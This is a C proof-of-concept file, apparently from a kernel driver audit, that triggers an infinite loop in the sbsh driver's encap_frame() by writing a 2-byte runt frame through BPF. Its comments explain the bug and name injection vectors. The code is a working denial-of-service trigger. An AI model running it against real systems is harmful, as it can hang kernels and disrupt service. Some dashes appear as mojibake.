DF-4498 / trigger.c
/* * DF-4498 trigger โ sbsh encap_frame() infinite repack loop. * * A frame with 0 < m_pkthdr.len < 5 dequeued into encap_frame() hits the * `m->m_len < 5` condition (if_sbsh.c:667); repack() rebuilds a single mbuf * with m_len = m_pkthdr.len (if_sbsh.c:721) โ still < 5 โ and * `goto look_for_nonzero` restarts the check: allocate/copy/free forever * while holding ifp->if_serializer. One CPU spins in the kernel; every path * taking that serializer blocks. * * Injection vector on real hardware: BPF write of a runt frame (root), or a * bridge member forwarding a LAN peer's runt into sbsh0 (unprivileged peer). * * Requires the Granch SBNI12/16 card (PCI 0x55:0x9d); NOT present on the * audit QEMU guest โ source-level confirmation only. */ #include <sys/types.h> #include <sys/ioctl.h> #include <sys/socket.h> #include <net/if.h> #include <net/bpf.h> #include <fcntl.h> #include <stdio.h> #include <string.h> #include <unistd.h> int main(int argc, char **argv) { const char *ifn = argc > 1 ? argv[1] : "sbsh0"; char dev[16]; unsigned char runt[2]; /* 2-byte frame: 0 < len < 5 */ int fd, n; struct ifreq ifr; runt[0] = 0xde; runt[1] = 0xad; for (n = 0; n < 64; n++) { snprintf(dev, sizeof(dev), "/dev/bpf%d", n); fd = open(dev, O_RDWR); if (fd >= 0) break; } if (fd < 0) { perror("open /dev/bpfN"); return 1; } memset(&ifr, 0, sizeof(ifr)); strlcpy(ifr.ifr_name, ifn, sizeof(ifr.ifr_name)); if (ioctl(fd, BIOCSETIF, &ifr) < 0) { perror("BIOCSETIF"); return 1; } /* one 2-byte frame is enough: encap_frame spins forever on it */ if (write(fd, runt, sizeof(runt)) < 0) perror("bpf write"); printf("runt injected; watch the kernel spin (top: 100%% sys on one cpu)\n"); return 0; } |